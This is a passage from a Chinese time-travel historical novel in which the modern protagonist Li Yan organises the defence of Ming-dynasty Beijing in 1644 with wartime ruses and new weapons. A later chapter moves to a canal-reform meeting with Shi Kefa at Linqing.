“正因为身系全局，才要亲去。”李炎坚持，“新式战法需要我现场指挥。况且，我要让将士们看到，他们的主帅与他们同生共死。” 众将动容。 散会后，李炎单独留下孙传庭：“孙将军，佯攻通州是假，接应一支队伍是真。” “什么队伍？” “从南京来的运粮队。”李炎压低声音，“史可法大人派的粮船，最迟明晚抵达通州上游。但通州已陷，粮船不敢靠岸。你的任务，是杀出一条血路，护粮进城。” 孙传庭肃然：“末将万死不辞！” “记住，粮食比人命重要。”李炎声音沉重，“就算这两千人全打光，也要把粮食送回来。有了粮，北京就能再守一个月；没有粮，三天都撑不下去。” “末将明白！” --- 申时，李炎回到军器局。 宋应星已经进入状态，正与徐天工讨论火炮改良。见李炎来，他提出一个关键问题：“李大人，老朽观新式火铳，虽射程精度俱佳，但装填太慢。为何不试试……后膛装填？” 李炎震惊。后膛枪是十九世纪才普及的技术，宋应星竟能想到这一层！ “先生可有方案？” “只是设想。”宋应星在纸上勾画，“若在枪管后部开一活门，装填后关闭，或许能加快速度。但密闭是个难题，火药燃气会泄露……” 李炎想起历史上早期后膛枪的“漏气”问题，确实难解。但宋应星的思路已远超时代。 “先生可愿主持此项研究？” “自当尽力。” 李炎又提出另一个想法：“除了火器，我们还需要一种能快速机动的车辆，用来运输火炮和伤员。” “四轮马车如何？” “在城内尚可，野战不行，易陷。”李炎画出简图，“我需要两轮车，轻便，一匹马拉动，配简易减震。” 这就是近代的“炮车”概念。宋应星与徐天工讨论半晌，竟当场设计出草图——用钢板弹簧做减震，可拆卸轮轴，一车可运一门炮及二十发炮弹。 “三日，老朽给您十辆。”宋应星立下军令状。 李炎深深一揖：“先生真乃国士。” 离开军器局时，天色又暗下来。李炎算了算，来到这个时代已经五天。五天里，他几乎没合过眼，但改变的东西……还是太少。 “大人，王公公请您去乾清宫。”亲兵来报，“说是有紧急军情。” 李炎心中一紧，快步而去。 --- 乾清宫内，气氛凝重。 崇祯面前摊着一份塘报，手在颤抖。王承恩站在一旁，面如死灰。 “爱卿，你看。”崇祯将塘报递来。 李炎接过，只看了几行，便如坠冰窟—— “四月朔，清摄政王多尔衮率军八万，已破宁远，兵临山海关。关宁军主帅吴三桂……开关迎降。” 山海关，丢了。 大明最后一道屏障，没了。 “塘报何时到的？”李炎声音干涩。 “半个时辰前，八百里加急。”王承恩颤声，“送信的驿卒累死三人……” 李炎强迫自己冷静。历史上，吴三桂降清是在李自成破北京之后，现在提前了，为什么？ 只有一个可能：他给吴三桂的那封信，起了反效果。或者……那封信根本就没送到。 “沈炼……”他想起那个战死的锦衣卫。 “爱卿，如今……该如何是好？”崇祯眼中第一次出现绝望，“前有闯贼，后有清兵，北京……已成孤城。” 不，还不是绝境。李炎大脑飞速运转。 吴三桂降清，满清入关，这对李自成同样是威胁。鹬蚌相争，渔翁未必得利，也可能两败俱伤。 “陛下，此事未必是祸。”他忽然说。 “何出此言？” “李自成与多尔衮，都想要北京，都想做中原之主。”李炎分析，“他们之间必有一战。而我们……可以让他们先打。” “坐山观虎斗？” “不，是火上浇油。”李炎眼中闪过冷光，“派人散布消息，说李自成已与朝廷秘密议和，准备联合抗清。再派人告诉多尔衮，说吴三桂是诈降，实则与闯军密谋，要诱清军入关围歼。” 双重反间，制造猜疑链。只要满清和闯军互相顾忌，就不敢全力攻北京。 崇祯沉默良久：“需要多久？” “三天。”李炎道，“只要再给我们三天时间，完成战备，就有机会在这两虎相争中……存活下来。” “若失败呢？” “那臣会履行承诺。”李炎单膝跪地，“护送太子南下，保全大明血脉。” 烛火跳跃，映着君臣二人的影子。殿外，风声渐紧，似有雷雨将至。 崇祯扶起李炎，从怀中取出一物——那是一方玉玺，但不是传国玉玺，而是一方私印，刻着“崇祯御笔”四字。 “这个你收着。”皇帝的声音很轻，“若朕有不测，你持此印，可号令南方诸镇。朕已写好密诏，藏于奉先殿太祖画像后。” 这是在托孤了。李炎接过玉玺，重如千钧。 “臣……定不辱命。” 走出乾清宫时，暴雨倾盆而下。 李炎站在廊下，望着雨幕中的紫禁城。这座见证了明朝兴衰的宫殿，此刻在雷声中显得如此脆弱，又如此坚韧。 他握紧手中玉玺，走进雨中。 时间，只剩下三天。 而这三天里，他要完成不可能的任务：加固城防，制造军械，整顿内务，挑动外敌，还要……为这个王朝，找到一线生机。 雷声隆隆，电光划破天际。 暴风雨，真的来了。 【第四章完】 5. 决战倒计时 第一天·黄昏 暴雨如注，紫禁城的琉璃瓦在雨幕中泛起青光。李炎站在文华殿檐下，手中的塘报已被雨水洇湿边角。“吴三桂开关迎降”六个字像烧红的烙铁，烫在眼底。 “八万八旗兵……”他低声重复这个数字。历史上，多尔衮入关时确是这个兵力，但那时李自成已占据北京，满清以“为明复仇”之名收拢人心。现在不同——北京未陷，大明法统犹在，多尔衮若强攻，就是公然侵略。 “大人。”亲兵队长陈平递上蓑衣，“各门守将已到齐。” 李炎披上蓑衣，雨水顺着帽檐淌成水帘。他大步走向武英殿——那里已被改成战时指挥所。 殿内，二十余名将领肃立。烛光在每个人脸上跳动，映出一张张紧绷的面孔。李炎没有废话，直接将塘报内容告知。 死一般的寂静。 “也就是说……”京营总兵李国桢喉结滚动，“我们要同时面对闯贼和清虏？” “是。”李炎走到巨大的沙盘前，“但也是机会。” 他拿起代表清军的黑色旗帜，插在山海关位置；又拿起代表闯军的红色旗帜，插在北京西南。两者相距四百里。 “李自成想要北京做都城，多尔衮也想。他们之间必有一战。”李炎用木杆划过沙盘，“而我们，要让他们在远离京城的地方打起来。” “如何做到？” “三步。”李炎竖起三根手指，“第一步，让李自成相信清军会先攻他；第二步，让多尔衮相信李自成会与朝廷联手；第三步……在他们两败俱伤时，我们坐收渔利。” 孙传庭皱眉：“太险。万一他们识破……” “所以需要真实的筹码。”李炎从怀中取出崇祯私印，“皇上已授我全权。从现在起，北京进入最高战备状态——不是守城，是备战反攻。” 众将愕然。 “反攻？我们兵力不到五万，且大半是新兵！” “正因为兵力不足，才要出奇制胜。”李炎指向沙盘上的通州，“李自成主力在此，约十五万。多尔衮八万骑兵，机动性强。我们要做的，是把这两股敌人引到一处。” 他详细部署： 一、今夜子时，派死士伪装成明军信使，携带“朝廷与闯王密约”的假文书，“误入”清军前锋营地。文书内容为：大明愿割让山海关以北，换李自成联合抗清，事成后平分天下。 二、同时，派另一队人伪装成清军细作，在闯军营中“被擒”，身上携带“多尔衮给吴三桂密令”：诈降明廷，诱李自成主力东进，与清军合围歼灭。 三、在北京城外三十里范围内，广布疑兵——扎草人，夜间举火，白日扬尘，制造大军云集的假象。 “此计若成，李自成必疑吴三桂，多尔衮必疑李自成。”李炎环视众人，“他们相互猜忌，就不敢全力攻我。而我们，就有时间完成最后准备。” “什么准备？” 李炎从桌下取出一个木箱，打开。里面是十几支新式火铳，但造型奇特——枪管粗短，枪口呈喇叭状。 “这是……”宋应星眼睛一亮。 “□□。”李炎拿起一支，“专为巷战和近距离防御设计。一发可射出三十颗铁珠，五十步内无人能挡。” 徐天工补充：“按李大人的图纸，我们改良了击发机构，装填速度比燧发枪快一倍。已产二百支，今夜可再产三百。” 李国桢接过一支，掂了掂：“好家伙，这要是在巷子里来一下……” “正是为巷战准备。”李炎沉声道，“万一城破，我们要在街巷间节节抵抗，每一座房屋都是堡垒，每一条街道都是坟场。” 他走到窗前，雨势稍歇，暮色四合。 “诸位，我知道你们怕。我也怕。”他转身，目光如炬，“但怕没有用。要么坐以待毙，要么拼死一搏。我选择后者——哪怕只有万分之一的希望。” 沉默。然后，孙传庭第一个单膝跪地：“末将愿随大人死战！” “末将愿往！” “末将……” 李炎扶起众人：“好！那就让我们，为大明搏这最后一线生机！” --- 第一天·子夜 阜成门悄然开启。两队黑衣死士鱼贯而出，每队十二人，分赴东西两个方向。 东队由锦衣卫残余高手率领，目标是清军前锋营地——根据最新情报，多尔衮派出的先锋已抵三河县，距京不过百里。 领队的是个独臂汉子，名叫赵铁骨。他原是辽东边军夜不收，天启年间与清军作战失去左臂，退役后在京营任教头。得知要去清营行诈，他主动请缨。 “弟兄们。”出城五里后，赵铁骨停下，“此去九死一生。有后悔的，现在可以回头。” 无人后退。 “好！”他咧嘴一笑，“那就让鞑子看看，大明儿郎的骨气！” 西队则由一名叫马三的老兵带领，目标是闯军大营。这队人更危险——李自成吃过亏，戒备森严。 两队人消失在夜色中。城头，李炎凭栏远望，手中望远镜的电池只剩9%。 “大人，他们能成功吗？”陈平低声问。 “不知道。”李炎实话实说，“但有些事，总要有人去做。” 就像历史上那些无名者——守扬州的史可法，守江阴的阎应元，还有千千万万没有留下名字的抗清义士。他们明知不可为而为之，只为心中一点不灭的火种。 李炎现在做的，就是让这火种不要熄灭。 --- 第二天·黎明 赵铁骨回来了，带回来八个人，个个带伤。 “大人……成了。”他左肩中了一箭，说话时牙关紧咬，“文书‘不小心’落在清军营中，我们还杀了三个鞑子哨兵，故意留了活口逃跑。” 李炎亲自为他包扎：“辛苦。清军反应如何？” “乱了一阵，然后有骑兵出营，往山海关方向去了。”赵铁骨喘着气，“看架势，是去报信的。” 很好。只要多尔衮收到消息，以他多疑的性格，必会核实。而核实需要时间——这就是李炎要的缓冲期。 “西队呢？” 陈平摇头：“还没有消息。” 等待是最煎熬的。李炎处理完军务，又去军器局巡视。宋应星一夜未眠，正在测试新武器——那是一门装在独轮车上的小炮，炮口仰角可调。 “这是……” “曲射炮。”宋应星眼中血丝密布，但精神亢奋，“按大人说的抛物线原理，老朽调整了药室和炮管角度。试过了，可将五斤重的炸药包抛射三百步。” 李炎震惊。这已经接近迫击炮的概念了！ “精度如何？” “十发七中靶区。”徐天工递上记录，“就是装填还慢，要二十息。” “足够了！”李炎拍案，“立刻量产！有多少造多少！” 有了曲射炮，守城战术可以完全改变——不必等敌人到城下，在三百步外就可以用炸药包覆盖。对付密集冲锋的步兵，这是大杀器。 辰时，西队终于有消息了。 回来三个人，马三不在其中。幸存的士兵浑身是血，断断续续汇报：他们成功混入闯营，故意在粮草堆附近“暴露”，被擒后经受严刑，有一人熬不住“招供”了假情报。 “马头儿……马头儿为了取信，让闯贼砍了他一只手。”士兵泣不成声，“他说，一只手换京城多守几天，值了。” 李炎闭上眼睛。这些普通士兵，这些在史书上不会有名字的人，正在用血肉之躯支撑这个即将倾覆的王朝。 “厚恤家眷。”他声音沙哑，“所有牺牲者，抚恤加倍。” --- 第二天·午时 乾清宫，朝会。 气氛比昨日更压抑。吴三桂降清的消息已经传开，百官面如土色。内阁首辅魏藻德再次提出迁都，这次附议者超过半数。 “皇上！北京已成死地，当效仿宋高宗南渡，保全社稷啊！”魏藻德老泪纵横。 “是啊皇上，留得青山在……” “住口！”崇祯猛地拍案，眼中血丝密布，“迁都？往哪儿迁？南京？李自成的骑兵追不上，还是清军的铁骑追不上？” 他起身，走下御阶：“当年土木堡之变，于谦公守北京，手中兵不过十万，将不过数员，却能击退瓦剌二十万大军。为何？因为人心未散，气节未堕！” 他环视众臣：“而今，闯贼虽众，不过是乌合之流；清虏虽强，毕竟是异族入侵。我大明立国二百七十六年，深仁厚泽，民心犹在！只要君臣一心，军民同力，何以不能复现北京保卫战之壮举？” 慷慨激昂，但应者寥寥。大多数官员想的是自家财产、族人安危。李炎冷眼旁观，心中明白——靠这些人，守不住北京。 必须用非常手段。 “李爱卿。”崇祯看向他，“你是兵部侍郎，总领防务。你告诉诸位卿家，北京守得住吗？” 李炎出列，朗声道：“守不守得住，不在兵力多寡，在有无死战之心。臣有三问，请诸位大人回答。” 他转向百官：“第一问：若城破，诸位家产可能保全？” 无人应答。谁都知道闯军破城必劫掠。 “第二问：若清虏入主，诸位官位可能保留？” 仍无人应答。满清重用汉臣不假，但那是后期，初期投降者多遭屠戮。 “第三问：若大明亡国，诸位子孙可还能科举入仕，光宗耀祖？” 三问如三记重锤。一些官员开始动摇。 “所以，”李炎提高声音，“守城不是为了皇上，是为了诸位的身家性命，是为了子孙的前程未来！今日我们若弃城而逃，他日史书工笔，诸位就是误国奸臣，遗臭万年！” “那你有什么办法？”魏藻德反问。 “有。”李炎一字一句，“请诸位捐出家产，充作军饷；请诸位派出家丁护院，编入守城队伍；请诸位亲自上城，鼓舞士气。” “荒唐！”一个御史跳起来，“我等朝廷命官，岂能如武夫般……” “那就等死。”李炎冷冷打断，“或者投降，看看李自成会不会饶过你们这些‘朝廷命官’。” 争吵再起。李炎不再理会，向崇祯拱手：“陛下，臣请旨：即日起，凡五品以上官员，每日需上城值守两个时辰；凡家产超过万两者，需捐出三成充作军费；凡抗命不遵者……以通敌论处。” “准！”崇祯毫不犹豫。 圣旨一下，百官哗然。但这次，崇祯展现了罕见的强硬——当场将两个叫嚣最凶的官员革职下狱。 杀鸡儆猴，效果立现。 --- 第二天·黄昏 李炎在德胜门城头见到了捐输的第一批成果。 白银三十万两，粮食五千石，布匹、药材、铁器若干。更有百余官员家丁被编入新军——这些家丁大多受过训练，装备精良，战斗力甚至超过部分京营士兵。 “还不够。”李炎对王承恩说，“我要的是全城动员。” 他下令张贴告示：凡捐银十两者，赐“忠义”匾额；捐银百两者，授九品虚衔；捐粮百石者，免三年赋税。同时宣布，城内存粮实行配给制，官员与百姓同例，每日两餐，不得私藏。 告示一出，民间响应热烈。北京城毕竟是帝都，富户众多，且大多数人不愿做亡国奴。至傍晚，又收到捐银二十万两，粮食八千石。 最让李炎意外的是百姓的参军热情。短短半日，报名青壮超过五千人，其中不乏书生、商贾。 “他们都是自愿的？”李炎问负责征兵的孙传庭。 “大多是。”孙传庭感慨，“有个老秀才，六十多了，非要报名。说‘读了一辈子圣贤书，临死总要为国尽一次忠’。” 民心可用。李炎心中稍安。 巡视到安定门时，他见到了宋应星的新发明——那是一种安装在城墙上的活动挡板，平时收起，战时放下，可防箭矢和飞石。 “材料不够，只能做五十面。”宋应星遗憾道。 “无妨，关键城门装上就行。”李炎仔细查看设计——挡板用厚木板外包铁皮，内侧有观察孔和射击孔，设计相当精巧。 “先生真是奇才。” “奇才谈不上，只是平日里多琢磨些工匠活计。”宋应星捋须，“老朽还有一计，或许可御敌。” 他从怀中取出一张草图。李炎看去，竟是简易的“铁丝网”——用铁蒺藜串联成网，布置在城墙脚下。 “此物可阻敌攀城，也可迟滞云梯靠近。”宋应星解释，“且制作简单，全城铁匠一日可产千丈。” 李炎大喜。铁丝网在近代战争中是重要防御工事，没想到宋应星能独立想到。 “立刻制作！在护城河内侧布设三道！” 正说着，曹化淳匆匆而来，面色凝重：“李侍郎，有发现。” 两人走到僻静处。曹化淳低声道：“老奴监视嘉定伯府，今日果然有异常——午后，伯府后门出一顶小轿，往朝阳门方向去了。” “跟上了吗？” “跟到东岳庙，轿中人换了衣裳，从密道出城了。”曹化淳从袖中取出一块玉佩，“这是从密道口捡到的。” 玉佩质地温润，刻有蟠龙纹——这是皇室之物。 李炎心一沉：“是宫里的？” “老奴查验过，是……坤宁宫的。” 坤宁宫，周皇后居所。而周皇后，正是嘉定伯周奎之女。 “还有。”曹化淳声音更低，“老奴查到，司设监少监王安，与坤宁宫总管太监杜勋是结拜兄弟。而杜勋……三日前曾私下出宫。” 一环扣一环。如果连皇后宫中都有问题，那紫禁城的安全…… “此事还有谁知？” “仅老奴与两个心腹。”曹化淳道，“李侍郎，兹事体大，是否禀报皇上？” 李炎沉思良久：“暂时不要。皇上已经压力过大，不能再受此刺激。你继续暗中调查，我要确凿证据。” “若查实……” “该杀就杀。”李炎眼中寒光一闪，“非常时期，顾不得那么多了。” 曹化淳深深看了他一眼：“老奴明白了。” --- 第二天·深夜 子时，李炎仍在武英殿处理公文。案头堆积如山的文书——军械清单、兵力部署、粮草统计、伤亡报告…… 左臂伤口隐隐作痛，他换药时发现已有化脓迹象。军医说要静养，但哪有时间静养？ “大人，您该休息了。”春梅不知何时进来，端着一碗药汤。 “放那儿吧。”李炎头也不抬。 春梅没走，轻声道：“大人，奴婢听说……山海关丢了。” 李炎笔一顿。 “奴婢不懂军国大事，但知道，关丢了可以再夺回来，人死了就什么都没了。”春梅声音很轻，“大人您要是累垮了，北京城……就真没指望了。” 李炎抬头，看着这个年轻的宫女。烛光下，她眼中有关切，有担忧，还有一种近乎信仰的坚定。 “你相信我们能守住吗？” “信。”春梅毫不犹豫，“因为大人在。” 简单一句话，却让李炎心头一热。是啊，他不能倒，至少现在不能。 他端起药碗一饮而尽，苦得皱眉。 “还有件事……”春梅迟疑，“奴婢今日去坤宁宫送东西，听见……听见皇后娘娘在哭，说对不起皇上，对不起大明。” 李炎手一紧：“还听见什么？” “没听清，杜公公就出来了，把奴婢赶走了。”春梅低头，“但奴婢看见，杜公公手里拿着……一封信，信封上有闯军的印记。” 果然！周皇后可能被父亲胁迫，或者……她自己也动摇了？ “此事不要告诉任何人。”李炎严肃道，“记住，任何人。” “奴婢明白。” 春梅退下后，李炎再无睡意。他走到殿外，夜空中无星无月，黑得像浓墨。远处城墙上，灯火如龙——那是守夜士兵的火把。 这座城市，这个王朝，还有这些信任他的人们……他必须守住。 哪怕要用非常手段。 --- 第三天·黎明 第三天了。距离李自成可能的全力攻城，还剩最后十二个时辰。 李炎彻夜未眠，完成了最后的防御部署： 一、在四大城门内侧修筑第二道防线——用沙袋、砖石垒成街垒，配置□□和曲射炮。万一外城破，就在这里进行巷战。 二、组建“飞火营”——三百名精选射手，配备改良火箭。这种火箭箭头绑有炸药，落地即爆，专攻敌军密集处。 三、实施“焦土策略”：将城外十里内的水井下毒（非致死毒，而是泻药），焚毁所有可能被敌军利用的建筑材料。 四、最残酷的一招：在护城河内埋设“跳雷”——踏板触发，弹跳到齐腰高爆炸，专伤步兵腰腹。 “此计太过阴毒。”连孙传庭都忍不住说。 “战争本就是最阴毒的事。”李炎面无表情，“对敌人仁慈，就是对自己人残忍。” 他知道这些手段会留下骂名，但顾不得了。历史由胜利者书写，若北京守不住，一切都没有意义。 辰时，军器局送来好消息：曲射炮已产五十门，□□八百支，铁丝网三千丈，各类火药五万斤。 “好！”李炎精神一振，“立刻分发各门！” 他亲自到德胜门测试新武器。曲射炮的轰鸣声中，三百步外的靶区被炸药包覆盖，尘土飞扬。 守军士气大振。 巳时，坏消息来了。 派往清军和闯军之间的斥候回报：两军已有接触。不是大战，是小规模冲突——清军游骑与闯军斥候在蓟县附近遭遇，双方各有伤亡。 “打起来了？”李国桢兴奋。 “不。”李炎摇头，“试探而已。多尔衮和李自成都是人杰，不会轻易中计。” 果然，午时后续情报显示：冲突后，两军各自后撤十里，呈对峙态势。 “他们在观望。”李炎分析，“观望北京，也观望对方。” 时间，仍然不够。 --- 第三天·午后 李炎决定冒险出城。 他带着一百精骑，从曹化淳提供的密道出阜成门，亲自侦察敌情。这是极度危险的举动，但有些事必须亲眼确认。 城外景象触目惊心。原本的村庄已成废墟，田地里到处是倒伏的 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“不，是戒备。”李炎观察着，“李自成在示威，告诉多尔衮他不怕。” 果然，闯军集结后并未出击，只是在营前列阵。清骑在远处逡巡片刻，也退走了。 这场对峙，暂时无果。 但李炎看到了机会——双方互不信任，这正是他想要的。 “回城。”他下令，“我们有文章可做了。” --- 第三天·黄昏 回城后，李炎立即召集幕僚。 “清军和闯军已经接触，彼此猜忌。”他铺开地图，“我们要把这猜忌变成冲突。” “如何做？” “伪造军令。”李炎说出计划，“模仿李自成笔迹，写一道军令给前线将领：假意与清军谈判，诱其深入，然后围歼。再模仿多尔衮笔迹，写一道命令给吴三桂：配合闯军行动，实则反戈一击。” 宋应星提出疑问：“笔迹可以模仿，但印信呢？” “印信好办。”曹化淳阴声道，“老奴认得几个擅刻印的手艺人，只要看过样式，一夜可成。” 李炎点头：“那就去做。我要明天天亮前，看到这两道‘军令’分别送到双方军中。” “太险了。”孙传庭担忧，“万一被识破……” “所以需要配合。”李炎眼中闪过冷光，“同时，我们要真的打一仗——不是大军对决，是骚扰战。让清军以为闯军动手了，让闯军以为清军进攻了。” 他部署今夜行动： 一、派五百骑兵，换上清军衣甲（从缴获物资中拼凑），夜袭闯军一处偏营。只骚扰，不硬拼，放火即走。 二、派另一队五百人，穿上闯军服装，袭击清军粮道。同样只骚扰，制造混乱。 三、在双方可能遭遇的区域，布置假营地——扎草人，夜间点火，白日撤走，营造大军调动的假象。 “此计若成，他们必生冲突。”李炎环视众人，“而我们要做的，就是坐山观虎斗。” 众将领命而去。殿内只剩下李炎和王承恩。 “李侍郎，老奴有句话，不知当讲不当讲。”王承恩犹豫。 “公公请说。” “您这些计策，都建立在敌人互相猜忌的基础上。”王承恩低声道，“可万一……他们识破了，或者干脆联手先攻北京呢？” 李炎沉默良久。 “那就死战。”他轻声道，“至少我们试过了，拼过了。后世史书会记得，崇祯十七年的北京，有人曾为这个王朝战斗到最后一刻。” 王承恩深深一揖：“老奴……明白了。” --- 第三天·深夜 子时，行动开始。 两支伪装部队悄然出城。李炎站在德胜门城头，目送他们消失在夜色中。 今夜无月，星晦暗。城墙上火把噼啪作响，守军士兵在寒风中挺立。李炎走过一个个垛口，与士兵交谈，检查装备。 “冷吗？”他问一个年轻士兵。 “不、不冷！”士兵挺直腰板，但声音在颤抖。 李炎解下自己的披风，披在士兵身上：“拿着。守夜最耗体力，不能着凉。” “大人，这使不得……” “这是军令。”李炎拍拍他的肩，“好好守着，你的家人都在城里。” 士兵眼圈红了，重重点头。 巡视到安定门时，李炎见到了意想不到的人——崇祯皇帝。 皇帝穿着普通军官的盔甲，正在与士兵分食烤红薯。见李炎来，他递过半个：“爱卿也尝尝，御膳房做的，加了蜂蜜。” 李炎接过，热腾腾的红薯在手心发烫。 “陛下怎么……” “朕睡不着。”崇祯咬了一口红薯，毫无帝王仪态，“想起于谦公当年守城，也是这般与士卒同甘共苦。朕虽不及于公万一，但至少……能让将士们知道，他们的皇帝与他们在一起。” 周围士兵闻言，无不感动。 李炎心中复杂。历史上的崇祯若能早有这样的觉悟，何至于此？但转念一想，也许正是绝境，才逼出了这位皇帝最后的气节。 “陛下，明日可能会有一场恶战。”他低声说。 “朕知道。”崇祯望着城外黑暗，“爱卿，朕问你一句实话——我们有多少胜算？” 李炎沉默片刻：“三成。” “三成……”崇祯笑了，笑容有些凄凉，“够了。当年太祖起兵时，连一成胜算都没有。成祖靖难，也是九死一生。我朱家天下，本就是打出来的。” 他转身，面向所有士兵，朗声道：“将士们！明日一战，关乎社稷存亡！朕在此立誓：若胜，所有参战者官升三级，赏银百两！若败……朕与你们，同殉此城！” “万岁！万岁！万岁！” 山呼声震彻夜空。 李炎看着这一幕，忽然想起后世评价崇祯的那句话——他不是昏君，只是生错了时代。 也许，现在这个时代，可以不同。 --- 丑时，城外传来爆炸声。 李炎用望远镜看去，东南方向火光冲天——那是闯军偏营的位置。紧接着，东北方向也升起火光，隐约传来喊杀声。 计划开始了。 半个时辰后，第一支骚扰部队返回。带队的是个年轻千户，脸上带伤，但神色兴奋：“大人！成了！我们烧了闯军三座帐篷，还抢了十匹马！他们以为是清军干的，追出来时我们已撤了！” “伤亡如何？” “阵亡七人，伤二十三人。”千户声音低沉了些，“但值了！我亲眼看到，闯军营里大乱，有部队往清军方向去了！” 李炎心中一紧。冲突要开始了。 果然，寅时传来消息：闯军一支五千人的部队与清军前锋在蓟县以东遭遇，爆发激战。具体战况不明，但双方都动了真火——清军出动了骑兵，闯军动用了火炮。 “打起来了！”武英殿内，众将兴奋。 李炎却冷静：“还不够。要让他们打出真火，打出仇恨。” 他下令：“天亮后，派使者分别去见多尔衮和李自成。给多尔衮的说：闯王愿割让山西，换清军助其攻北京。给李自成的说：多尔衮愿助其灭明，但要黄河以北全部领土。” “他们会信吗？” “半信半疑。”李炎道，“但怀疑的种子一旦种下，就会生根发芽。” --- 第三天·黎明前 最黑暗的时刻。 李炎终于感到疲惫如潮水般涌来。他靠在椅背上，想小憩片刻，却怎么也睡不着。脑子里全是各种可能——计划成功的可能，失败的可能，还有那些无法预料的变数。 “大人。”春梅不知何时进来，端着一盆热水，“您擦把脸吧。” 温热的毛巾敷在脸上，李炎长出口气。 “春梅，若城破了，你怎么办？” 宫女的手一顿，轻声道：“奴婢跟着大人。” “若我战死了呢？” “那奴婢就……殉城。”春梅声音很轻，但坚定，“奴婢的爹娘早不在了，弟弟生死未卜。这世上，奴婢唯一欠恩情的，就是大人。” 李炎心中一痛。这个时代，人命如草芥，但每一棵草都有它的坚韧。 “我不会让你死的。”他轻声道，“若真到了那一步，我会安排你出城。” “大人呢？” “我？”李炎笑了，“我是主帅，自然与城共存亡。” 窗外，东方天际泛起第一缕白光。 第三天结束了。 而真正的考验，即将开始。 李炎起身，走到殿外。晨风凛冽，带着硝烟和血腥的气息。北京城在晨曦中渐渐清晰，这座古老的城市，这座大明的心脏，正在迎接它命运中最关键的一天。 他握紧剑柄，望向远方。 那里，两股洪流即将碰撞。 而他，将在这夹缝中，为这个文明搏一个未来。 哪怕血染山河，哪怕身死名灭。 “传令全军——”他的声音在晨风中传开，“准备战斗！” 【第五章完】 6. 临清会 巳时·临清闸 临清闸，运河“咽喉”。 李炎船队抵达时，正值过闸高峰。数百艘漕船、商船、客船堵在闸口，绵延数里。闸吏的吆喝声、船工的号子声、商贾的争吵声，混着河水拍岸的哗啦声，喧嚣如沸。 “比河西务大十倍不止。”宋应星站在船头感慨。他是江西人，走运河下过江南，但每次见临清，仍觉震撼。 临清闸不是一道闸，是三道闸组成的复闸系统，每道闸宽五丈，深三丈，可容最大漕船通行。闸两侧有石砌码头，货栈林立，旗幡招展。更远处，城墙蜿蜒，城楼巍峨——临清是山东重镇，人口逾十万，商税占山东三成。 “史大人在哪里等我们？”李炎问。 孙传庭指向闸东：“那边有座望河楼，史大人包了顶层。” 船队靠岸。李炎留下宋应星处理船务，带着孙传庭和四个亲兵，步行前往望河楼。春梅换了女装，抱着藤箱跟在身后。 穿过码头，人潮汹涌。挑夫扛着麻袋，喊着号子；小贩推着车，叫卖炊饼、茶水、针线；乞丐蹲在墙角，伸出破碗。空气里混杂着汗味、河水腥气、香料味、马粪味。 “这才是运河该有的样子。”李炎低声说。河西务太荒凉，临清才显繁华。但繁华之下呢？ 望河楼是临清最高的酒楼，五层木楼，飞檐斗拱。掌柜见李炎气度不凡，忙引上顶层。 顶层雅间，临窗坐着一位中年文士。他四十出头，面容清癯，穿着半旧青袍，正低头看书。听见脚步声，抬头起身，拱手行礼：“可是李太保？下官史可法，恭候多时。” “史尚书。”李炎还礼，“久仰。” 两人对视。史可法的眼睛很亮，有读书人的清澈，也有官员的锐利。李炎看到他袖口有补丁，靴子磨得发白——这位南京兵部尚书，果然如史载，清贫自守。 “坐。”史可法亲自斟茶，“李太保一路辛苦。听闻在河西务雷霆手段，整顿漕弊，下官敬佩。” “史尚书过誉。”李炎接过茶，“都是为朝廷办事。不知尚书对漕运改革，有何高见？” 史可法从袖中取出一卷文书：“这是下官拟的《漕运十策》，请太保过目。” 李炎展开。文书蝇头小楷，条理清晰： 一、裁撤漕帮，设漕运总督衙门，直属户部。 二、废除闸费、过路费等苛捐杂税，统一征收漕银。 三、推广新式漕船，提高运力。 四、设河工学堂，培养专业人才。 五、清丈运河淤塞段落，疏浚河道。 六、在临清、淮安、扬州设三大漕仓，减少损耗。 七、漕工改募为兵，编入漕军，保障待遇。 八、严查走私，凡私运漕粮、军火者斩。 九、运河沿线设驿站、医馆，便利行旅。 十、漕运盈余，用于赈灾、兴学。 十策，每策都有详细实施办法、预算估算、可能阻力。显然不是临时起意，是深思熟虑。 “好！”李炎由衷赞叹，“史尚书大才！这十策若施行，漕运可焕然一新。” 史可法却无喜色：“好是好，但难。难在三点：其一，漕帮势力盘根错节，潘永年虽擒，但各地分舵仍在；其二，运河沿线官员、士绅，多有利益牵扯，阻力重重；其三……”他顿了顿，“钱从哪里来？” 李炎明白。改革需要钱，但朝廷没钱。崇祯的内帑早已掏空，国库年年赤字。 “钱的事，我来想办法。”李炎沉声道，“但需要史尚书助我——整顿漕运，不能只靠刀兵，还要靠人。南方官员，我不熟，需要尚书引荐、斡旋。” 史可法点头：“这是自然。下官已联络几位志同道合的同僚，他们愿助太保一臂之力。不过……”他犹豫片刻，“有句话，下官不知当讲不当讲。” “请直言。” “太保可知，南方士绅，对朝廷……颇有微词？” 李炎心中一动：“是因为‘辽饷’‘剿饷’加派？” “不止。”史可法压低声音，“南方这些年还算安定，未遭兵祸。但朝廷年年加派，地方官趁机盘剥，民怨已深。有些士绅私下议论：与其把钱粮送给朝廷打水漂，不如留在本地，保境安民。” 这是地方离心倾向的前兆。历史上，南明之所以内斗不休，就是因为江南士绅各怀心思，不愿全力支持朝廷。 “他们想拥兵自重？” “还没到那一步。”史可法摇头，“但防患未然。李太保，整顿漕运不仅是经济改革，更是政治表态——朝廷必须让南方看到，钱粮用在实处，能换来太平。否则……” 否则，大明可能等不到清军南下，自己就分裂了。 李炎沉默良久，忽然问：“史尚书，若有一天，北京不守，朝廷南迁，你会怎么做？” 史可法浑身一震，盯着李炎，眼中闪过惊疑、挣扎，最终化为坚定：“下官……誓死保卫大明江山。无论朝廷在哪里，下官都是大明的臣子。” 这话答得巧妙，没说“拥戴南迁”，但表明了立场。 李炎笑了：“有尚书这句话，我就放心了。来，我们详细说说，这十策如何施行。” 两人从巳时谈到午时，又从午时谈到申时。茶水换了三壶，笔记写了厚厚一叠。孙传庭在门外警戒，春梅在一旁记录要点。 当夕阳西斜时，方案初步成型： 一、以临清为试点，推行新漕制。李炎坐镇，史可法协调南方。 二、三日内，发布《漕运改革告示》，废除苛捐杂税，公布新工钱标准。 三、七日内，组建漕运总督衙门，从南京、北京调派干员。 四、一月内，完成临清段漕船清查，凡符合新规者，颁发“漕运许可”；凡违规者，一律扣押。 五、同时，筹建河工学堂，首批招收学徒百人，由宋应星授课。 “最难的是清查。”史可法指出，“临清在册漕船八百艘，实际可能逾千。其中多少是黑船？多少走私？多少属于漕帮？清查起来，必遭反弹。” 